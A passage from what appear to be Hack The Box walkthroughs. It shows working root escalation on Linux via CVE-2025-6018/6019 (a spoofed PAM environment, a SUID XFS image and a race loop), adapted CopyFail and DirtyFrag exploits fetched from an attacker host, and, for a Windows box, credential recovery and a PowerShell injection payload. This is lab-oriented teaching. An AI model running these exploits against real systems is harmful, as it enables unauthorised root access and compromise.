A Local Privilege Escalation (LPE) vulnerability was found in libblockdev. Generally, the “allow_active” setting in Polkit permits a physically present user to take certain actions based on the session type. Due to the way libblockdev interacts with the udisks daemon, an “allow_active” user on a system may be able escalate to full root privileges on the target host. Normally, udisks mounts user-provided filesystem images with security flags like nosuid and nodev to prevent privilege escalation. However, a local attacker can create a specially crafted XFS image containing a SUID-root shell, then trick udisks into resizing it. This mounts their malicious filesystem with root privileges, allowing them to execute their SUID-root shell and gain complete control of the system.

Basically I can abuse udisks to mount a filesystem that will allow me access to a SetUID shell.

CVE-2025-6018

I’ll create a .pam_environment file in my current user’s home directory. polkit reads XDG_SEAT and XDG_VTNR to decide whether a session is on the physical console; declaring myself on seat 0 / VT 1 is what gets the SSH session past the allow_active check.

phileasfogg3@pterodactyl:~> echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > .pam_environment

Now I’ll exit SSH and reconnect. On this connection, the .pam_environment file will be loaded. This reflects in my env:

phileasfogg3@pterodactyl:~> env | grep XDG
XDG_VTNR=1
XDG_SESSION_ID=1901
XDG_SESSION_TYPE=tty
XDG_DATA_DIRS=/usr/share
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1002
XDG_CONFIG_DIRS=/etc/xdg

This is enough to bypass the polkit protection:

phileasfogg3@pterodactyl:~> pkcheck --action-id org.freedesktop.udisks2.loop-setup --process $$ && echo POLKIT_OK
POLKIT_OK

CVE-2025-6019

I’m going to make a malicious image, but I’ll need a copy of the bash binary from target as glibc, libtinfo, and other shared libraries are linked at runtime, and this is a different OS than I am running. I’ll grab it with scp:

oxdf@hacky$ sshpass -p '!QAZ2wsx' scp phileasfogg3@pterodactyl.htb:/usr/bin/bash .

Now I create the XFS image using the following flow:

Create a small empty image file (50–64 MB is plenty).
Format it as XFS with crc=0 (the target kernel is ~5.14; crc=0 keeps the image compatible with kernels that don’t support v5 superblocks, defensive).
Loopback-mount it locally.
Copy bash inside, chown root:root, chmod 4755.
Unmount.

I’ll create the image:

oxdf@hacky$ sudo dd if=/dev/zero of=payload.img bs=1M count=512
512+0 records in
512+0 records out
536870912 bytes (537 MB, 512 MiB) copied, 6.16332 s, 87.1 MB/s

It must be at least 512 MB for the file system to fit, or the next step will fail. I’ll use mkfs.xfs (apt install xfsprogs) to turn that into an XFS image:

oxdf@hacky$ sudo mkfs.xfs -m crc=0 -f payload.img
V4 filesystems are deprecated and will not be supported by future versions.
meta-data=payload.img            isize=256    agcount=4, agsize=32768 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=0        finobt=0, sparse=0, rmapbt=0
         =                       reflink=0    bigtime=0 inobtcount=0 nrext64=0
data     =                       bsize=4096   blocks=131072, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0, ftype=1
log      =internal log           bsize=4096   blocks=16384, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0

I’ll mount the filesystem, copy in bash, and make it SetUID:

oxdf@hacky$ sudo mkdir /mnt/xfs
oxdf@hacky$ sudo mount -o loop payload.img /mnt/xfs/
oxdf@hacky$ sudo cp bash /mnt/xfs/rootbash
oxdf@hacky$ sudo chown root:root /mnt/xfs/rootbash
oxdf@hacky$ sudo chmod 6755 /mnt/xfs/rootbash
oxdf@hacky$ ls -l /mnt/xfs/rootbash
-rwsr-sr-x 1 root root 1012656 May 11 23:12 /mnt/xfs/rootbash

Now I’ll unmount the image:

oxdf@hacky$ sudo umount /mnt/xfs

I’ll copy the image up to Pterodactyl:

oxdf@hacky$ sshpass -p '!QAZ2wsx' scp payload.img phileasfogg3@pterodactyl.htb:/tmp/payload.img

Now I need to have udisks2 set up a loop device on Pterodactyl:

phileasfogg3@pterodactyl:~> udisksctl loop-setup -f /tmp/payload.img
Mapped file /tmp/payload.img as /dev/loop0.

That would have blocked if not for CVE-2025-6018.

Now I mount that device:

phileasfogg3@pterodactyl:~> udisksctl mount -b /dev/loop0
Mounted /dev/loop0 at /run/media/phileasfogg3/d5a0c55e-7f38-471b-ba4b-ebe8d1851a66

That mounted, but it’s mounted nosuid:

phileasfogg3@pterodactyl:~> mount | grep phil
/dev/loop0 on /run/media/phileasfogg3/d5a0c55e-7f38-471b-ba4b-ebe8d1851a66 type xfs (rw,nosuid,nodev,relatime,attr2,inode64,logbufs=8,logbsize=32k,noquota,uhelper=udisks2)

I’ll unmount it:

phileasfogg3@pterodactyl:~> udisksctl unmount -b /dev/loop0
Unmounted /dev/loop0.

The user-visible mount goes through udisks’s mount handler, which adds nosuid,nodev to stop tricks like this. CVE-2025-6019 is in the resize path. When udisks asks libblockdev to resize an XFS volume, libblockdev mounts the filesystem internally at /tmp/blockdev.XXXXXX to run the resize tooling, and that internal mount doesn’t carry udisks’s security flags. For the duration of the resize, the filesystem is live with full SUID semantics. The plan is to win that window. I’ll drop a SUID-root shell into the image, fire the resize, and execute it from the temp directory before the resize unwinds.

First I’ll check the format of the temp directory by starting a watcher in one SSH session and triggering a resize from another:

phileasfogg3@pterodactyl:~> gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

The watcher catches the format:

phileasfogg3@pterodactyl:~> while true; do find /tmp /run /var/tmp -maxdepth 3 -type d \( -name '*resize*' -o -name '*blockdev*' -o -name 'temp-*' -o -name '.*-XXX*' \) 2>/dev/null; done | awk '!seen[$0]++'
/tmp/blockdev.VY5KP

That resize and watcher loop leaked the format and location of the temporary mount. Now I can create a new watcher that will attempt to abuse this the next time I resize:

  while true; do
    for d in /tmp/blockdev.*; do
      if [ -x "$d/rootbash" ] && "$d/rootbash" -p -c \
        'cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 4755 /tmp/0xdf; echo PWNED' 2>/dev/null
      then
        break 2
      fi
    done
  done

The next resize gives the loop its window. rootbash becomes briefly executable as root inside /tmp/blockdev.XXXXXX, and the loop uses it to copy bash to /tmp/0xdf and make that copy SUID-root too. From the other session I fire the same gdbus resize as before, and the watcher prints PWNED:

phileasfogg3@pterodactyl:~> while true; do
>   for d in /tmp/blockdev.*; do
>     if [ -x "$d/rootbash" ] && "$d/rootbash" -p -c \
>       'cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 4755 /tmp/0xdf; echo PWNED' 2>/dev/null
>     then
>       break 2
>     fi
>   done
> done
PWNED

/tmp/0xdf gives a root shell (with -p to not drop privs):

phileasfogg3@pterodactyl:~> /tmp/0xdf -p
0xdf-4.4#

And the root flag:

0xdf-4.4# cat root.txt
665fe940************************

Beyond Root

Background

There have been two big Linux privesc vulns released over the last few weeks, CopyFail and DirtyFrag. Both are exploits that get a write primitive into cached memory and overwrite a sensitive file to get execution as root. Both of them provide POC exploits that don’t quite work out of the box on Pterodactyl. I’ll use Beyond Root today to get both working here and explore a bit.

Copy Fail

Background

The CopyFail website describes it as:

One logic bug in authencesn, chained through AF_ALG and splice() into a 4-byte page-cache write — silently exploitable for nearly a decade.

I made a video diving into this and showing it run on HTB Snapped:

The POC for this one was very much code-golfed down to 732 bytes, which makes it unreadable. I’ll use the deobfuscated copy I made.

On Pterodactyl

I’ll copy the exploit and from an SSH session as phileasfogg3, use vim to save a copy. When I run it, it fails:

phileasfogg3@pterodactyl:~> python3 copyfail.py 
Traceback (most recent call last):
  File "copyfail.py", line 110, in 
    main()
  File "copyfail.py", line 100, in main
    overwrite_chunk(fd, i, PATCH_ELF[i:i + AUTH_SIZE])
  File "copyfail.py", line 82, in overwrite_chunk
    os.splice(file_fd, pipe_w, splice_len, offset_src=0)
AttributeError: module 'os' has no attribute 'splice'

Interestingly, searching for this error, the top results are all about Copy Fail:

The Python documentation on the os module shows that splice was added in Python 3.10:

Pterodactyl is running Python 3.6:

phileasfogg3@pterodactyl:~> python3 -V
Python 3.6.15

Luckily, this is a quick fix. There’s a C version of the exploit that has direct access to the splice system call through GLIBC, or there are many Python versions out there that are updated to work around this. I like this one from mohammadali-davarzani, which simply changes the splice call into the pipe to a os.sendfile:

This works because under the hood, sendfile() is implemented in modern Linux kernels using the exact same splice() machinery, setting up an internal kernel-managed pipe and copying page-cache references (not byte copies) from the file into the destination socket.

In my code, the change looks like:

    #pipe_r, pipe_w = os.pipe()
    #os.splice(file_fd, pipe_w, splice_len, offset_src=0)
    #os.splice(pipe_r, op_sock.fileno(), splice_len)
    os.sendfile(op_sock.fileno(), file_fd, 0, splice_len)

    try:
        op_sock.recv(8 + offset)
    except OSError:
        pass

    #os.close(pipe_r)
    #os.close(pipe_w)
    op_sock.close()
    sock.close()

I’m able to remove the pipes entirely, and replace it with a single os.sendfile call. It works:

phileasfogg3@pterodactyl:~> python3 copyfail.py 
pterodactyl:/home/phileasfogg3 #

CopyFail works by overwriting a sensitive file’s page cache (the in-memory copy the kernel hands out) without ever touching disk. The file looks modified to every reader on the system until the cache is dropped. echo 3 > /proc/sys/vm/drop_caches flushes the page cache so the file goes back to its on-disk contents, which avoids leaving the machine in an insecure state.

DirtyFrag

Background

DirtyFrag describes itself as:

This document describes the Dirty Frag vulnerability class, first discovered and reported by Hyunwoo Kim (@v4bel), which can obtain root privileges on major Linux distributions by chaining the xfrm-ESP Page-Cache Write (CVE-2026-43284) vulnerability and the RxRPC Page-Cache Write (CVE-2026-43500) vulnerability.

I made a video diving into this vulnerability, the exploit, the drama around its disclosure, and demo it on HTB Snapped:

On Pterodactyl

DirtyFrag just works on Pterodactyl. I had some uncertainly that a binary compiled on my Ubuntu system would run on this openSUSE system, but it did:

phileasfogg3@pterodactyl:~> wget 10.10.14.61/exp
Prepended http:// to '10.10.14.61/exp'
--2026-05-12 14:43:05--  http://10.10.14.61/exp
Connecting to 10.10.14.61:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 62320 (61K) [application/octet-stream]
Saving to: ‘exp’

exp                           100%[===============================================>]  60.86K  --.-KB/s    in 0.04s   

2026-05-12 14:43:05 (1.50 MB/s) - ‘exp’ saved [62320/62320]

phileasfogg3@pterodactyl:~> chmod +x exp 
phileasfogg3@pterodactyl:~> ./exp -v
[su] installed 48 xfrm SAs
[su] wrote 192 bytes to /usr/bin/su starting at 0x0
[su] /usr/bin/su page-cache patched (entry 0x78 = shellcode)
pterodactyl:/home/phileasfogg3 #

The exploit worked and returned a root shell.

The binary has two exploit paths. It tries ESP first and only falls through to RxRPC if ESP fails. ESP needs an unprivileged user namespace, which openSUSE Leap 15.6 ships enabled by default (unlike Ubuntu 23.10+, which restricts unprivileged userns via AppArmor). So as expected, the ESP path works.

I can force it down the RxRPC route, either by running with --force-rxrpc, or by removing the ability for users to create namespaces as root (and resetting the cache):

pterodactyl:/home/phileasfogg3 # echo 0 > /proc/sys/user/max_user_namespaces
pterodactyl:/home/phileasfogg3 # echo 3 > /proc/sys/vm/drop_caches

Running now shows that the ESP path fails, but then it crashes in the RxRPC path:

phileasfogg3@pterodactyl:~> ./exp -v
[su] unshare: No space left on device
[su] corruption stage failed (status=0x100)

=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===
[*] uid=1002 euid=1002 gid=100
[+] rxrpc module autoloaded via dummy socket(AF_RXRPC)
[+] target /etc/passwd opened RO, size=1505, uid=0 gid=0 mode=0644
[+] mmap'd /etc/passwd page-cache at 0x7f0737840000 (PROT_READ|MAP_SHARED)
[+] /etc/passwd line 1 first 16 bytes:
72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 
[*] /etc/passwd line 1 (root entry) BEFORE: 'root:x:0:0:root:/root:/bin/bash$'
[+] Ca @ 4: 3a783a303a303a72 ":x:0:0:r"
[+] Cb @ 6: 3a303a303a726f6f ":0:0:roo"
[+] Cc @ 8: 3a303a726f6f743a ":0:root:"
[+] fcrypt selftest OK

=== STAGE 1a: search K_A (chars 4-5 := "::")  prob ~1.5e-5 ===
[+] K_A found after 110762 iters in 0.03s (3.49M/s) K=3fa4431c479c0ee3  P=3a3ae9c579282a20 "::..y(* "
[+] Cb_actual (after splice A) = e9c579282a206f6f

=== STAGE 1b: search K_B (chars 6-7 := "0:")  prob ~1.5e-5 ===
[+] K_B found after 6287 iters in 0.00s (4.04M/s) K=f3f1fa5e36f497b1  P=303a6c9c4137a9d2 "0:l.A7.."
[+] Cc_actual (after splice B) = 6c9c4137a9d2743a

=== STAGE 1c: search K_C (chars 8-15 := "0:GGGGGG:")  prob ~5.4e-8 ===
[+] K_C found after 28567170 iters in 6.49s (4.40M/s) K=6f316bada7ef8d8b  P=303a1c7d536d403a "0:.}Sm@:"

[+] Predicted post-corruption /etc/passwd line 1:
    "root::0:0:.}Sm@:/root:/bin/bash"

=== STAGE 2a: kernel trigger A @ off 4 (set chars 4-5 "::") ===
[+] plain UDP fake-server bound :7779
[+] AF_RXRPC client bound :7780
Segmentation fault

I believe this is because the exploit isn’t written to work on this kernel. The RxRPC variant of the exploit hardcodes internal kernel struct offsets that were derived from upstream-ish kernels. I suspect that the author didn’t tune for this kernel since the vast majority of openSUSE targets will be vulnerable to the ESP path.

HTB: Overwatch

2026-05-09T13:45:00+00:00

Overwatch starts with anonymous SMB access to a software share that hosts a custom .NET monitoring binary. I’ll reverse engineer it to recover SQL Server credentials and identify a WCF service with a PowerShell command injection sink. With the SQL creds, I’ll find a linked server pointing to a non-resolving host and abuse CREATE_CHILD on the AD-integrated DNS zone to add a record pointing the hostname at my host, capturing cleartext SQL authentication with Responder when the linked server connects out. Those credentials provide WinRM as a user in Remote Management Users. From there, I’ll exploit the WCF KillProcess command injection on a localhost SOAP endpoint to get code execution as SYSTEM, demonstrating four different ways to interact with the WCF service. In Beyond Root, I’ll look at a log that captured the Windows Administrator password from an HTB pre-release cleanup script.

Box Info

Overwatch

Medium

Release Date 24 Jan 2026

Retire Date 09 May 2026

OS Windows

Rated Difficulty

Radar Graph

User

00:38:59

Root

00:54:15

Creator

Recon

Initial Scanning

nmap finds 22 open TCP ports:

oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.244.81
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-24 19:43 UTC
...[snip]...
Nmap scan report for 10.129.244.81
Host is up, received echo-reply ttl 127 (0.021s latency).
Scanned at 2026-04-24 19:43:29 UTC for 14s
Not shown: 65513 filtered tcp ports (no-response)
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
6520/tcp  open  unknown          syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
58262/tcp open  unknown          syn-ack ttl 127
58263/tcp open  unknown          syn-ack ttl 127
58270/tcp open  unknown          syn-ack ttl 127
59189/tcp open  unknown          syn-ack ttl 127
61751/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
           Raw packets sent: 131054 (5.766MB) | Rcvd: 25 (1.084KB)
oxdf@hacky$ sudo nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,6520,9389 -sCV 10.129.244.81
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-24 19:44 UTC
...[snip]...
Nmap scan report for 10.129.244.81
Host is up (0.021s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-24 19:45:01Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Not valid before: 2025-12-07T15:16:06
|_Not valid after:  2026-06-08T15:16:06
|_ssl-date: 2026-04-24T19:46:25+00:00; -4s from scanner time.
| rdp-ntlm-info:
|   Target_Name: OVERWATCH
|   NetBIOS_Domain_Name: OVERWATCH
|   NetBIOS_Computer_Name: S200401
|   DNS_Domain_Name: overwatch.htb
|   DNS_Computer_Name: S200401.overwatch.htb
|   DNS_Tree_Name: overwatch.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2026-04-24T19:45:43+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
6520/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-04-24T19:24:36
|_Not valid after:  2056-04-24T19:24:36
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-04-24T19:46:25+00:00; -4s from scanner time.
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-04-24T19:45:44
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: -4s, deviation: 0s, median: -4s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.88 seconds

The box shows many of the ports associated with a Windows Domain Controller. The domain is overwatch.htb, and the hostname is S200401.

There’s also an MSSQL 2022 on TCP 6520. I can try to connect, but it requires creds.

I’ll use netexec to make a hosts file entry and put it at the top of my /etc/hosts file:

oxdf@hacky$ netexec smb 10.129.244.81 --generate-hosts-file hosts
SMB         10.129.244.81   445    S200401          [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True) (Guest Auth:True)
oxdf@hacky$ cat hosts /etc/hosts | sudo tee /etc/hosts | head -1
10.129.244.81     S200401.overwatch.htb overwatch.htb S200401

All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.

nmap notes almost no clock skew. If there were one more than five minutes, I’d want to run sudo ntpdate S200401.overwatch.htb before any actions that use Kerberos auth.

SMB - TCP 445

Guest auth allows me to list shares with any username and blank password:

oxdf@hacky$ netexec smb 10.129.244.81 -u 0xdf -p '' --shares
SMB         10.129.244.81   445    S200401          [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True) (Guest Auth:True)
SMB         10.129.244.81   445    S200401          [+] overwatch.htb\0xdf: (Guest)
SMB         10.129.244.81   445    S200401          [*] Enumerated shares
SMB         10.129.244.81   445    S200401          Share           Permissions     Remark
SMB         10.129.244.81   445    S200401          -----           -----------     ------
SMB         10.129.244.81   445    S200401          ADMIN$                          Remote Admin
SMB         10.129.244.81   445    S200401          C$                              Default share
SMB         10.129.244.81   445    S200401          IPC$            READ            Remote IPC
SMB         10.129.244.81   445    S200401          NETLOGON                        Logon server share 
SMB         10.129.244.81   445    S200401          software$       READ            
SMB         10.129.244.81   445    S200401          SYSVOL                          Logon server share

I’ve got read access to the software$ share.

software$

I’ll use spider_plus to list and download all the files on the share:

oxdf@hacky$ netexec smb 10.129.244.81 -u 0xdf -p '' -M spider_plus -o DOWNLOAD_FLAG=True
SMB         10.129.244.81   445    S200401          [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True) (Guest Auth:True)
SMB         10.129.244.81   445    S200401          [+] overwatch.htb\0xdf: (Guest)
SPIDER_PLUS 10.129.244.81   445    S200401          [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.129.244.81   445    S200401          [*]  DOWNLOAD_FLAG: True
SPIDER_PLUS 10.129.244.81   445    S200401          [*]     STATS_FLAG: True
SPIDER_PLUS 10.129.244.81   445    S200401          [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.129.244.81   445    S200401          [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.129.244.81   445    S200401          [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.129.244.81   445    S200401          [*]  OUTPUT_FOLDER: /home/oxdf/.nxc/modules/nxc_spider_plus
SMB         10.129.244.81   445    S200401          [*] Enumerated shares
SMB         10.129.244.81   445    S200401          Share           Permissions     Remark
SMB         10.129.244.81   445    S200401          -----           -----------     ------
SMB         10.129.244.81   445    S200401          ADMIN$                          Remote Admin
SMB         10.129.244.81   445    S200401          C$                              Default share
SMB         10.129.244.81   445    S200401          IPC$            READ            Remote IPC
SMB         10.129.244.81   445    S200401          NETLOGON                        Logon server share 
SMB         10.129.244.81   445    S200401          software$       READ            
SMB         10.129.244.81   445    S200401          SYSVOL                          Logon server share 
SPIDER_PLUS 10.129.244.81   445    S200401          [+] Saved share-file metadata to "/home/oxdf/.nxc/modules/nxc_spider_plus/10.129.244.81.json".
SPIDER_PLUS 10.129.244.81   445    S200401          [*] SMB Shares:           6 (ADMIN$, C$, IPC$, NETLOGON, software$, SYSVOL)
SPIDER_PLUS 10.129.244.81   445    S200401          [*] SMB Readable Shares:  2 (IPC$, software$)
SPIDER_PLUS 10.129.244.81   445    S200401          [*] SMB Filtered Shares:  1
SPIDER_PLUS 10.129.244.81   445    S200401          [*] Total folders found:  3
SPIDER_PLUS 10.129.244.81   445    S200401          [*] Total files found:    16
SPIDER_PLUS 10.129.244.81   445    S200401          [*] Files filtered:       12
SPIDER_PLUS 10.129.244.81   445    S200401          [*] File size average:    1.36 MB
SPIDER_PLUS 10.129.244.81   445    S200401          [*] File size min:        2.11 KB
SPIDER_PLUS 10.129.244.81   445    S200401          [*] File size max:        6.81 MB
SPIDER_PLUS 10.129.244.81   445    S200401          [*] File unique exts:     5 (config, xml, exe, pdb, dll)
SPIDER_PLUS 10.129.244.81   445    S200401          [*] Downloads successful: 4
SPIDER_PLUS 10.129.244.81   445    S200401          [+] All files processed successfully.

I’ll grab those files and move them to my current directory:

oxdf@hacky$ mv ~/.nxc/modules/nxc_spider_plus/10.129.244.81/software\$ software
oxdf@hacky$ find software/ -type f
software/Monitoring/overwatch.exe.config
software/Monitoring/overwatch.pdb
software/Monitoring/overwatch.exe
software/Monitoring/Microsoft.Management.Infrastructure.dll

overwatch.exe.config is XML:

  
     name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
  
       name="MonitoringService">
        
             baseAddress="http://overwatch.htb:8000/MonitorService" />
          
         address="" binding="basicHttpBinding" contract="IMonitoringService" />
         address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
      
           httpGetEnabled="True" />
           includeExceptionDetailInFaults="True" />
        
       invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
       invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
    
       invariant="System.Data.SQLite.EF6" />
       name="SQLite Data Provider (Entity Framework 6)" invariant="System.Data.SQLite.EF6" description=".NET Framework Data Provider for SQLite (Entity Framework 6)" type="System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6" />
     invariant="System.Data.SQLite" /> name="SQLite Data Provider" invariant="System.Data.SQLite" description=".NET Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite" />

There’s a monitoring service at http://overwatch.htb:8000/MonitorService. A few things worth noting from the WCF config:

It uses basicHttpBinding (plain HTTP, no transport security or auth configured).
serviceMetadata httpGetEnabled="True" means the WSDL is published, so once the port is reachable I can pull it with ?wsdl / ?singleWsdl and see every contract method.
serviceDebug includeExceptionDetailInFaults="True" will leak full .NET stack traces on any error, great for info disclosure and error-based oracles when shaping payloads.

Two Entity Framework providers are registered: SqlClient for a remote SQL Server (presumably the one on 6520) and SQLite for a local database file. That split maps to the two data sources the binary actually touches (seen below).

Port 8000 isn’t reachable from outside (probably firewalled or localhost-only), so this is an attack surface to remember for later.

Microsoft.Management.Infrastructure.dll is a Microsoft library, so it’s not interesting except to say that the binary likely interacts with WMI / CIM.

Shell as sqlmgmt

Auth as sqlsvc

overwatch.exe

overwatch.exe is a .NET binary:

oxdf@hacky$ file software/Monitoring/overwatch.exe
software/Monitoring/overwatch.exe: PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows, 2 sections

I’ll load it in a .NET disassembler such as DotPeek and take a look. The code sits in {} / MonitoringService and {} / Program:

Program has the Main function, which starts MonitoringService, waits 30 seconds, runs CheckEdgeHistory, and then waits for the user to enter something and exits:

internal class Program
{
  private static void Main(string[] args)
  {
    ServiceHost serviceHost = new ServiceHost(typeof (MonitoringService), Array.Empty<Uri>());
    serviceHost.Open();
    Console.WriteLine("Service is running...");
    Timer timer = new Timer(30000.0);
    timer.Elapsed += new ElapsedEventHandler(Program.CheckEdgeHistory);
    timer.Start();
    Console.WriteLine("Press Enter to exit...");
    Console.ReadLine();
    serviceHost.Close();
  }

CheckEdgeHistory runs on the timer and copies recent Edge browser history rows into the remote MSSQL EventLog table:

  private static void CheckEdgeHistory(object sender, ElapsedEventArgs e)
  {
    string str1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\Edge\\User Data\\Default\\History");
    if (!File.Exists(str1))
      return;
    string tempFileName = Path.GetTempFileName();
    File.Copy(str1, tempFileName, true);
    try
    {
      using (SqlConnection sqlConnection = new SqlConnection("Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;"))
      {
        sqlConnection.Open();
        using (SqlCommand sqlCommand = new SqlCommand())
        {
          sqlCommand.Connection = sqlConnection;
          SQLiteConnection sqLiteConnection = new SQLiteConnection("Data Source=" + tempFileName + ";Version=3;");
          ((DbConnection) sqLiteConnection).Open();
          SQLiteDataReader sqLiteDataReader = new SQLiteCommand("SELECT url, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5", sqLiteConnection).ExecuteReader();
          while (((DbDataReader) sqLiteDataReader).Read())
          {
            string str2 = "INSERT INTO EventLog (Timestamp, EventType, Details) VALUES (GETDATE(), 'URLVisit', '" + ((DbDataReader) sqLiteDataReader)["url"].ToString() + "')";
            sqlCommand.CommandText = str2;
            sqlCommand.ExecuteNonQuery();
          }
          ((DbConnection) sqLiteConnection).Close();
        }
      }
    }
    catch
    {
    }
    finally
    {
      File.Delete(tempFileName);
    }
  }
}

The details of this function aren’t important. It does have a hardcoded connection string for the local MSSQL with a username and password.

MonitoringService implements the WCF contract IMonitoringService, which exposes three operations: StartMonitoring(), StopMonitoring(), and KillProcess(string processName). The ctor stores the same connection string in a field that the rest of the class uses.

KillProcess has a potential injection opportunity:

  public string KillProcess(string processName)
  {
    string scriptContents = "Stop-Process -Name " + processName + " -Force";
    try
    {
      using (Runspace runspace = RunspaceFactory.CreateRunspace())
      {
        runspace.Open();
        using (Pipeline pipeline = runspace.CreatePipeline())
        {
          pipeline.Commands.AddScript(scriptContents);
          pipeline.Commands.Add("Out-String");
          Collection<PSObject> collection = pipeline.Invoke();
          runspace.Close();
          StringBuilder stringBuilder = new StringBuilder();
          foreach (PSObject psObject in collection)
            stringBuilder.AppendLine(psObject.ToString());
          return stringBuilder.ToString();
        }
      }
    }
    catch (Exception ex)
    {
      return "Error: " + ex.Message;
    }
  }

It creates a string, scriptContents by concatenating text with the input processName variable, and then runs that as a PowerShell command. PowerShell uses ; as a statement separator, so a processName of x; whoami # becomes Stop-Process -Name x; whoami # -Force, two statements where whoami runs and the trailing -Force is swallowed by the comment. I’ll come back to this for root.

Validate

I’ll check the creds from the binary on MSSQL with netexec and they work:

oxdf@hacky$ netexec mssql 10.129.244.81 --port 6520 -u sqlsvc -p TI0LKcfHzZw1Vv 
MSSQL       10.129.244.81   6520   S200401          [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) (EncryptionReq:False)
MSSQL       10.129.244.81   6520   S200401          [+] overwatch.htb\sqlsvc:TI0LKcfHzZw1Vv 

Authenticated Enumeration

Database

I’ll use mssqlclient.py to get access. The session opens with OVERWATCH\sqlsvc mapped to the guest role on master, meaning the login has no explicit user mapping in master and is falling back to the low-privilege guest account:

oxdf@hacky$ mssqlclient.py overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@S200401.overwatch.htb -p 6520 -windows-auth
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
